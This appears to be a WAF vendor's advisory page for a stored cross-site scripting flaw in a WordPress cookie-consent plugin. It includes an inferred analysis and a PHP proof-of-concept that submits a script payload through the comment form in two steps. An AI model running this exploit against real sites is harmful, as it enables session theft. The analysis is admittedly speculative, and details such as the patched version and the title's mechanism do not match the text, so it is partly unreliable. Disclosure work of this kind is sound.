Published : November 20, 2026

CVE-2026-119177: Real Cookie Banner: GDPR & ePrivacy Cookie Consent <= 5.4.2 Unauthenticated Stored Cross-Site Scripting via Comment Content via Regex Boundary Consumption PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 5.4.2
Patched Version —
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-119177 (metadata-based): This is an unauthenticated stored cross-site scripting (XSS) vulnerability in the Real Cookie Banner: GDPR & ePrivacy Cookie Consent plugin for WordPress, affecting versions up to and including 5.4.2. The flaw resides in the handling of the ‘comment’ parameter, which lacks sufficient input sanitization and output escaping. An attacker can inject arbitrary JavaScript that executes when a victim views the injected page. The CVSS score is 5.4 (Medium), with a vector indicating network attack, high attack complexity, no privileges required, no user interaction, scope change, low confidentiality and integrity impact, and no availability impact.

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79). Atomic Edge infers from the description that the plugin processes comment content (likely via a shortcode, block, or custom comment handling) and fails to apply WordPress’s standard sanitization functions (e.g., wp_kses, esc_html) or output escaping (e.g., esc_html, esc_attr) when rendering. The vulnerability specifically targets the ‘comment’ parameter. The attack complexity is rated high because exploitation requires two preconditions: the cookie banner must be activated by an administrator, and at least one prior comment from the attacker’s name and email must have been approved. Once these are met, WordPress core’s comment_previously_approved feature auto-approves subsequent comments, allowing the stored XSS payload to bypass moderation. This conclusion is inferred from the CVE description; no code diff is available for confirmation.

Exploitation uses a two-step process. First, the attacker posts a benign comment with a valid name and email, which an administrator must approve. After approval, the attacker submits a second comment with the same name and email containing a malicious script in the ‘comment’ parameter, for example alert(document.cookie) or a more sophisticated payload to steal cookies or perform actions. Because the comment is auto-approved, it is stored and later rendered on the page without proper escaping. The attacker must ensure the cookie banner is active, as the plugin’s front-end output is where the injected script executes. The exact endpoint is the standard WordPress comment submission (wp-comments-post.php) or possibly a custom AJAX handler if the plugin intercepts comments, but the metadata does not specify a custom endpoint. Atomic Edge infers the target is the comment form, but this is not confirmed.

Remediation requires the plugin to sanitize the comment content on input and escape it on output. The patch in version 5.4.3 likely adds proper sanitization using wp_kses or similar functions to strip dangerous HTML tags from comment text, and applies output escaping (esc_html) when displaying comments. Additionally, the plugin should ensure that any custom handling of comments respects WordPress’s built-in moderation and escaping mechanisms. Atomic Edge infers these fixes based on the CWE classification; the actual patch details are unknown.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of sensitive information (cookies, tokens), defacement, or redirection to malicious sites. Because the attacker does not need authentication and the payload is stored, the vulnerability can affect any visitor to the compromised page, including administrators. The scope change indicates that the vulnerable component (plugin) impacts other components (WordPress core or other plugins), potentially enabling privilege escalation if an administrator views the injected comment.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-119177 - Real Cookie Banner: GDPR & ePrivacy Cookie Consent <= 5.4.2 - Unauthenticated Stored Cross-Site Scripting via Comment Content via Regex Boundary Consumption

// Configuration
$target_url = 'http://example.com'; // Replace with your target WordPress site
$attacker_name = 'Attacker';
$attacker_email = 'attacker@example.com';
$payload = '<script>alert("XSS");</script>'; // Malicious JavaScript payload

// Step 1: Post a benign comment to get it approved (requires admin approval)
$benign_comment = 'This is a benign comment to establish a previously approved identity.';
$post_data = [
    'comment' => $benign_comment,
    'author' => $attacker_name,
    'email' => $attacker_email,
    'url' => '',
    'submit' => 'Post Comment',
    'comment_post_ID' => '1', // Replace with a valid post ID
    'comment_parent' => '0'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Benign comment posted. HTTP code: $http_coden";
echo "[!] Wait for admin approval of the benign comment.n";

// Step 2: After approval, post the malicious comment (auto-approved due to same name/email)
// Simulate wait (in real attack, attacker would wait or check approval status)
sleep(10); // Adjust timing as needed

$malicious_data = [
    'comment' => $payload,
    'author' => $attacker_name,
    'email' => $attacker_email,
    'url' => '',
    'submit' => 'Post Comment',
    'comment_post_ID' => '1', // Same post ID
    'comment_parent' => '0'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($malicious_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Malicious comment posted. HTTP code: $http_coden";
echo "[!] Visit the post to trigger the XSS.n";

// Note: This PoC assumes the standard WordPress comment form is used and that the cookie banner is active.
// The exact vulnerable endpoint and parameter might differ if the plugin uses custom AJAX handlers.
// No code diff is available, so this is a best-effort based on the metadata.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.